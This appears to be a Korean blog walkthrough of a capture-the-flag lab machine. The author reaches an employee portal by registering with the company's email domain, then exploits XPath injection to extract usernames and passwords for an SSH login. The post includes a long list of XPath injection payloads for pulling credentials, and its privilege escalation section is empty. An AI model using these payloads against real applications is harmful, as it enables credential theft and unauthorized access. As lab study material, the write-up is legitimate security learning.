[목차]

 

 

1.Information Gathering

2. XPath Injection

3. Exploitation

4. Privilege Escalation

 

 

 

 

 

[Information Gathering]

: Port scanning

 

 

 

 

: web enum

 

 

80 포트를 뒤져보면 위 결과처럼

몇몇 php endpoint 들이 존재하는데

 

 

우선 register를 시도해 보니

이메일을 통한 별도의 인증 기능이 없어

임의의 정보로 회원가입이 가능한 상황.

 

 

대충 아무 정보로 회원가입 진행 뒤

로그인을 해보면 정상 로그인이

되는데

 

 

EMPLYOEE PORTAL 메뉴에 접근해 보면

Access Denied가 뜬다.

 

 

회원가입과 로그인은 되는데

관계자가 아닌 관계로

문전 박대를 당하는 상황.

 

 

그렇다면 우선

관계자로 로그인하는 방법을

찾아야 하겠다.

 

 

뭔가 조건이 있는 것 같아 소스를 뒤져봤지만

못 찾았고 대신 어떤 곳을 보면

이메일 도메인 주소 확인이 가능한데

 

 

 

 

왠지 해당 도메인을 사용해 회원가입을 하면

관계자로 받아들여지지 않을까 생각에

다시 한번 회원가입을 시도

 

 

로그인 후

EMPLOYEE PORTAL 페이지에 접속해 보면

정상 접속 가능!

 

 

일단 검색 버튼을 눌러보면

 

 

사용자 명 확인이 가능하고

GET 방식이라 파라미터가 노출되는데

싱글 쿼터를 입력해 서버 반응을 살펴보면

 

XML Error가 발생!

 

work 파라미터가 취약한 것으로

확인되었다.

 

XML 에러 발생의 경우, 일반적으로

XPATH 인젝션 가능성을 떠올릴 수 있는데

실무에서는 한 번도 발견된 적이 없었기 때문에

좀 낯설지만, 문제는 또 풀어야 하니

이참에 공부하면서 공격 방법을 확인해 본다.

 

 

 

 

 

 

 

[Xpath Injection]

 

 

1. Xpath Injection 이란

XPath Injection is an attack technique

used to exploit applications that construct XPath

(XML Path Language) queries from user-supplied input

to query or navigate XML documents.

 

Xpath 인젝션은 XML 구조에

악의적인 행위를 일으키는 내용을 삽입하거나

Xpath를 조작해 XML의 내용을 노출시키는

취약점으로,

 

트리구조로 구성되어 있는 XML에

'/' 문자를 사용하여 최상위 노드부터

질의할 곳을 지정할 수 있다.

 

다른 인젝션 류와 공격 기법은 동일하며

특정 문자열을 전달해서 인가되지 않은

데이터를 추출해 내는 것이 핵심

 

쉽게 XML을 DB,

XPath를 SQL이라 생각하면

조금 편한데

 

노드들로 이루어져 있는 XML의 데이터를

XPath로 호출하는 개념이다.

 

 

 

2. XPath 명령어 및 공격구문

XPath 명령어(expression)는 다음과 같으며

# 명령어           # 설명
-------------------------------------------------
/               최상위 노드
//              현재 노드로부터 모든 노드 조회
*               모든 노드 조회
.               현재 노드
..              현재 상위 노드 접근
parent          현재 노드의 부모 노드
child           현재 노즈의 자식 노드
[]              조건문
node()          현재 노드로부터 모든 노드 조회
@               속성 선택
@*              모든 속성 선택


# 사용 예
----------------------------------------------
takudaddy           takudaddy라는 이름의 모든 노드 선택
/takudaddy          takudaddy의 root 요소(element) 선택 (경로가 /로 시작하면 항상 요소에 대한 절대 경로를 나타냄)
takudaddy/taku      takudaddy 하위 모든 taku 자식 요소들(elements)을 선택
//taku              위치와 관계 없이 모든 taku 요소 선택
takudaddy//taku     takudaddy 아래 위치와 관계없이 모든 taku 요소들 선택
//@taku             이름이 taku인 모든 속성(attribute) 선택
 

 

대표적인 공격 구문은 다음과 같다.

' or 1]%00
' or '1'='1
' or ''='
x' or 1=1 or 'x'='y
/
//
//*
*/*
@*
count(/child::node())
x' or name()='username' or 'x'='y
' and count(/*)=1 and '1'='1
' and count(/@*)=1 and '1'='1
' and count(/comment())=1 and '1'='1
search=')] | //user/*[contains(*,'
search=Har') and contains(../password,'c
search=Har') and starts-with(../password,'c


# 문자열 추출
----------------------------------------------------------------------
') or 1=1 or ('                            # 모든 이름 추출
') or 1=1] | //user/password[('')=('       # 모든 이름/비번 추출
'or 2=1] | //user/node()[('')=('           # 모든 값 추출
')] | //./node()[('')=('                   # 모든 값 추출
')] | //node()[('')=('                     # 모든 값 추출
') or 1=1] | //user/password[('')=('       # 모든 이름/비번 추출
')] | //password%00                        # 모든 이름/비번 (null 인젝션)
')]/../*[3][text()!=('                     # 모든 비번
')] | //user/*[1] | a[('                   # 모든 사용자 ID
')] | //user/*[2] | a[('                   # 모든 사용자 이름
')] | //user/*[3] | a[('                   # 모든 사용자 비번
')] | //user/*[4] | a[('                   # 모든 사용자 ID
 

이제 필요한 정보를 추출해 본다.

 

 


 

 

[Exploitation]

 

a. 모든 users 추출

6개

 

 

b. 모든 비번 추출

 

6개

 

 

위 정보를 통해 ssh로

로그인을 시도해 볼 수 있는데

 

유요한 계정은 하나

 

침투 성공

 

 

 


 

 

[Privilege Escalation]

 

 

 

 

728x90

+ Recent posts